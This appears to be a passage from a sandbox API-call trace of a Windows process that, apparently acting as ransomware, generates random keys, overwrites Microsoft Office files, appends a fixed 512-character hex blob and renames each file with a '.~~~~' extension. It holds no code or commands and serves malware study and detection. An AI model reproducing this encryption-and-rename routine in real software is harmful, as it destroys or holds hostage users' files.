	[0132.520] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.521] GetLastError () returned 0x0
	[0132.521] GetLastError () returned 0x0
	[0132.521] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.521] GetLastError () returned 0x0
	[0132.521] GetLastError () returned 0x0
	[0132.523] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.523] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0132.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.525] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.525] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.525] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.525] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.525] CloseHandle (hObject=0x13c) returned 1
	[0132.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0132.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif.~~~~")) returned 1
	[0132.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0132.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.563] GetLastError () returned 0x0
	[0132.563] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.564] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.564] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.566] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25255565056) returned 1
	[0132.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb875c530, dwHighDateTime=0x1d60e1e)) 
	[0132.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823d78
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823d78 | out: hHeap=0x300000) returned 1
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.567] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.567] GetLastError () returned 0x0
	[0132.568] GetLastError () returned 0x0
	[0132.568] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.568] GetLastError () returned 0x0
	[0132.568] GetLastError () returned 0x0
	[0132.570] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff3c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.570] WriteFile (in: hFile=0x13c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xc3c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xc3c, lpOverlapped=0x0) returned 1
	[0132.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.573] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.573] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.573] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.573] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.574] CloseHandle (hObject=0x13c) returned 1
	[0132.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0132.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css.~~~~")) returned 1
	[0132.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f13d0 | out: hHeap=0x300000) returned 1
	[0132.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.575] GetLastError () returned 0x0
	[0132.576] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.577] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0132.577] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0132.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.577] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25256735081) returned 1
	[0132.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8782690, dwHighDateTime=0x1d60e1e)) 
	[0132.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28097d0
	[0132.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28097d0 | out: hHeap=0x300000) returned 1
	[0132.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.578] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.578] GetLastError () returned 0x0
	[0132.578] GetLastError () returned 0x0
	[0132.578] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.578] GetLastError () returned 0x0
	[0132.579] GetLastError () returned 0x0
	[0132.580] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffe91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.580] WriteFile (in: hFile=0x13c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x16f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x16f, lpOverlapped=0x0) returned 1
	[0132.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.582] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.582] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.582] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.582] CloseHandle (hObject=0x13c) returned 1
	[0132.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0132.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif.~~~~")) returned 1
	[0132.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0132.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.584] GetLastError () returned 0x0
	[0132.585] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0132.586] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.586] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25257594001) returned 1
	[0132.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8782690, dwHighDateTime=0x1d60e1e)) 
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809798
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809798 | out: hHeap=0x300000) returned 1
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.587] GetLastError () returned 0x0
	[0132.587] GetLastError () returned 0x0
	[0132.587] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.587] GetLastError () returned 0x0
	[0132.587] GetLastError () returned 0x0
	[0132.588] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.588] WriteFile (in: hFile=0x13c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x155, lpOverlapped=0x0) returned 1
	[0132.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.590] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.590] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.590] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.590] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.591] CloseHandle (hObject=0x13c) returned 1
	[0132.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0132.591] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif.~~~~")) returned 1
	[0132.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0132.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.594] GetLastError () returned 0x0
	[0132.595] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.596] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0132.596] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.596] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25258611719) returned 1
	[0132.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb87a87f0, dwHighDateTime=0x1d60e1e)) 
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809760
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809760 | out: hHeap=0x300000) returned 1
	[0132.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.597] GetLastError () returned 0x0
	[0132.597] GetLastError () returned 0x0
	[0132.597] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.597] GetLastError () returned 0x0
	[0132.597] GetLastError () returned 0x0
	[0132.599] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.599] WriteFile (in: hFile=0x13c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xde, lpOverlapped=0x0) returned 1
	[0132.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.601] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.601] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.601] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.601] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.601] CloseHandle (hObject=0x13c) returned 1
	[0132.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0132.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_on.gif.~~~~")) returned 1
	[0132.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0132.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0132.603] GetLastError () returned 0x0
	[0132.604] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0132.606] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0132.606] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0132.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0132.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0132.606] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25259620055) returned 1
	[0132.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb87a87f0, dwHighDateTime=0x1d60e1e)) 
	[0132.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0132.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0132.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0132.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28096f0
